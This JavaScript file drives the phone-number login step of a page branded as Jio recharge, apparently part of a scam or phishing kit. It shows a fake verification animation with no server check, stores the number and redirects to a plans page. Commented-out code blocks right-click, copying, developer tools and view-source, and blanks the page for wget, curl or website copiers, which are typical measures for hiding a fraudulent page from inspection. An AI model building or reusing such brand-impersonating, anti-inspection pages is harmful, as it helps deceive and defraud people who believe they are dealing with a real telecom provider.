// ====== JIO LOGIN LOGIC ======
const phoneField = document.getElementById('phoneField');
const submitAction = document.getElementById('submitAction');
const errorHint = document.getElementById('errorHint');
const statusOverlay = document.getElementById('statusOverlay');
const progressLoader = document.getElementById('progressLoader');
const doneIndicator = document.getElementById('doneIndicator');

const blockedNumbers = [
    '1111111111','2222222222','3333333333','4444444444','5555555555',
    '6666666666','7777777777','8888888888','9999999999','0000000000',
    '1234567890','0987654321','1231231231','1212121212','1234512345',
    '9876543210','0123456789','0000012345','1010101010','9090909090',
    '1122334455','1313131313','1414141414','1471471471','2468246824',
    '3693693693','1351351351','1591591591','2020202020','3030303030',
    '4040404040','5050505050','6789012345','4321432143','5555500000',
    '1234501234','3210321032','1000000000'
];

function validatePhoneInput(input) {
    input.value = input.value.replace(/\D/g, '').substring(0, 10);
    const number = input.value;
    const isValid = number.length === 10 && !blockedNumbers.includes(number);
    if (isValid) {
        submitAction.classList.add('ready');
        submitAction.removeAttribute('disabled');
        errorHint.classList.add('hidden');
    } else {
        submitAction.classList.remove('ready');
        submitAction.setAttribute('disabled', 'true');
        errorHint.classList.add('hidden');
    }
}

function processLogin() {
    const number = phoneField.value;
    if (number.length !== 10 || blockedNumbers.includes(number)) return;

    statusOverlay.style.display = 'flex';
    progressLoader.style.display = 'flex';
    doneIndicator.style.display = 'none';

    setTimeout(() => {
        progressLoader.style.display = 'none';
        doneIndicator.style.display = 'flex';
        setTimeout(() => {
            localStorage.setItem('jio_recharge_mobile_number', number);
            window.location.href = 'plans.html';
        }, 1000);
    }, 2000);
}

// /* Disable Right Click */
// document.addEventListener('contextmenu', function(e) {
//     e.preventDefault();
// });

// /* Disable Copy */
// document.addEventListener('copy', function(e) {
//     e.preventDefault();
// });

// /* Disable Cut */
// document.addEventListener('cut', function(e) {
//     e.preventDefault();
// });

// /* Disable Select Text */
// document.addEventListener('selectstart', function(e) {
//     e.preventDefault();
// });

// /* Disable Ctrl Keys */
// document.onkeydown = function(e) {
//     if (
//         e.keyCode == 123 || // F12
//         (e.ctrlKey && e.shiftKey && e.keyCode == 73) || // Ctrl+Shift+I
//         (e.ctrlKey && e.shiftKey && e.keyCode == 74) || // Ctrl+Shift+J
//         (e.ctrlKey && e.keyCode == 85) || // Ctrl+U
//         (e.ctrlKey && e.keyCode == 83) || // Ctrl+S
//         (e.ctrlKey && e.keyCode == 67) || // Ctrl+C
//         (e.ctrlKey && e.keyCode == 86) // Ctrl+V
//     ) {
//         return false;
//     }
// };

// // Anti-bot check
// (function() {
//     var ua = navigator.userAgent.toLowerCase();
//     if (ua.indexOf("httrack") !== -1 || ua.indexOf("wget") !== -1 || ua.indexOf("curl") !== -1) {
//         document.body.innerHTML = "";
//         alert("Website Copier Detected. Access Denied.");
//         window.location = "about:blank";
//     }
// })();

// Initial validation
validatePhoneInput(phoneField);